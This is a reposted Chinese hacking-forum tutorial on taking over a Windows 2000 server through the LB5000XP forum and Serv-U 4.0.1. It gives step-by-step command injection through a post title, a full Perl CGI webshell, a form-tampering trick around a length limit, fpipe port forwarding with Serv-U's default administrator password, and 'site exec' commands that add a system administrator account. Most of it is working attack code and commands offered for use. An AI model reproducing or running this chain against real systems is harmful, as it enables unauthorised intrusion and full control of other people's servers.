论坛: 菜鸟乐园 标题: LB5000XP论坛配合SERV-U获取系统管理员权限[转帖] 复制本贴地址    
作者: chiru [chiru]    论坛用户   登录

目标服务器配置:/Windows2000/ /IIS5.0/ /MSSQL/ /MYSQL/ /SERV-U 4.0.1/ /ACTIVEPERL/
服务器权限设置:EVERYONE /完全控制/
服务器补丁情况:系统 /SP4/ MSSQL /SP3/

其实这篇文章没有什么技术含量,只是想把一些好的思路跟大家分享出来!

想必大家都知道LB论坛吧?我就不对其论坛及漏洞做过多的介绍了!

首先我们来注册一个帐户,然后我们随便找个版块发表一个文章!

在标题栏上输入and system('dir c:\')#

OK!发表成功后,在地址栏处有相应文章ID
http://127.0.0.1/cgi-bin/topic.cgi?forum=1&topic=1 ;

我们修改连接地址然后在地址栏提交此URL,就会触发此漏洞!如下:
http://127.0.0.1/cgi-bin/forum1/1.pl ;

呵呵,看到什么了吗?
-----------------------------
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:


Can't find string terminator "'" anywhere before EOF at D:\bbs\cgi-bin\forum1\1.pl line 1.
-----------------------------

恩,这样我们就得到了论坛在目标服务器上的本地路径!

OK,接下来我们要通过此漏洞得到一个WEBSHELL,WEBSHELL的代码如下:


#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV;
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;




我们把它保存为*.txt文件!保存后,进帖子,我们上传,上传类型选择TXT!

上传完毕后,我们看看这个小东东的地址是什么!
http://127.0.0.1/non-cgi/usr/1/1_1.txt ;

这就是我们的CGI网页木马了!我们通过标题栏来把这个txt文件改为*.cgi的!

编辑自己的帖子!

and system('ren d:\bbs\non-cgi\usr\1\1_1.txt cmd.cgi')#

这里要说明一下!如果论坛的路径设置的很深(比如:d:\webhost\www\website\host1\bbs\lb5000\non-cgi\usr\1\1_1.txt)

我们就无法进行改名,因为标题栏处有限制,不可以超过40个汉字,路径太长!怎么办?别着急!看下面!

我们先把编辑帖子的页面保存下来!用记事本打开保存的*.htm文件!找到提交标题栏的form表单!

<FORM name=FORM action=editpost.cgi method=post encType=multipart/form-data>
/我们把action提交的页面修改成editpost.cgi在目标服务器的URL地址:
/<FORM name=FORM action=http://127.0.0.1/cgi-bin/editpost.cgi method=post encType=multipart/form-data>
……代码省略……
<TD bgColor=#f4faed><INPUT maxLength=80 size=60 value=这里就是关键,我们在这里填入要提交的表单!
name=newtopictitle> 不得超过 40 个汉字</TD>
……代码省略……
</FORM>

这样就可以了,保存,双击打开它,然后点“发表”!就OK了!

提交后我们来执行!
http://127.0.0.1/cgi-bin/forum1/1.pl ;

刷新一下就可以了!我们来看看有没有执行成功?!
http://127.0.0.1/non-cgi/usr/1/cmd.cgi ;

哈哈,是不是已经可以了?到此,我们就已经得到了一个WEBSHELL,我们来看看服务器的情况
http://127.0.0.1/non-cgi/usr/1/cmd.cgi?net ;start

有终端,且安装了SERV-U(据我了解70%以上的服务器都有安装它)这个软件说好也好,说不好也不好!

好就好在它很实用,不好在于它的漏洞很多,这不!SERV-U5.0现在都可以溢出。。。建议大家都别用它了!

继续!我对这个CGI的后门不太喜欢,所以,我这里用ASP的后门!用同样的方法来上传一个ASP后门(我用的是海阳顶端网ASP木马)
http://127.0.0.1/non-cgi/usr/1/cmd.asp ;

呵呵!接下来我们利用SERV-U来获得SYSTEM权限的帐户!

我们登陆ASP后门!进入d:\bbs\non-cgi\usr\1目录下,我们需要一个小东西-FPIPE.EXE,这个东西不用介绍了吧?!呵呵~・

把它传到此目录下!传好后,咱们来执行它!在ASP目录里执行!

d:\bbs\non-cgi\usr\1\fpipe -v -l 19739 -r 43958 127.0.0.1

好!监听端口19739,打开你本地SERV-U添加一台服务器,来连接19739!

填上服务器IP,监听端口号19739,填上帐户和密码!

user:LocalAdministrator
pass:#l@$ak#.lk;0@P

全部搞定后,来连接SERV-U,连接成功后,我们就对此服务器的SERV-U有了完全控制权限!

我们建立一个FTP帐户:

user:admin
pass:caozhe

把帐户的连接路径设置在系统盘下(例如C:\)!帐户权限全部分配(最好还提升至系统管理员)

然后,我们打开CMD!

Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator>ftp
ftp>open 127.0.0.1
Connected to ip.
220 Serv-U FTP Server v4.0.1 for WinSock ready...
User (ip:(none)):admin��/我们刚建立的帐户名
331 User name okay, please send complete E-mail address as password.
Password:caozhe��/密码
230 User logged in, proceed.
ftp> cd winnt\system32�� /进入系统的winnt\system32目录下
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user admin caozhe /add�� /利用NET.EXE建立帐户
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators admin /add��/把admin帐户加到管理员组
200 EXEC command successful (TID=33).


到此,我们已经拥有了一个SYSTEM级别的帐户,用终端服务来连接吧!呵呵,接下来的事,你们看着办吧!





地主 发表时间: 04-02-29 19:14

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号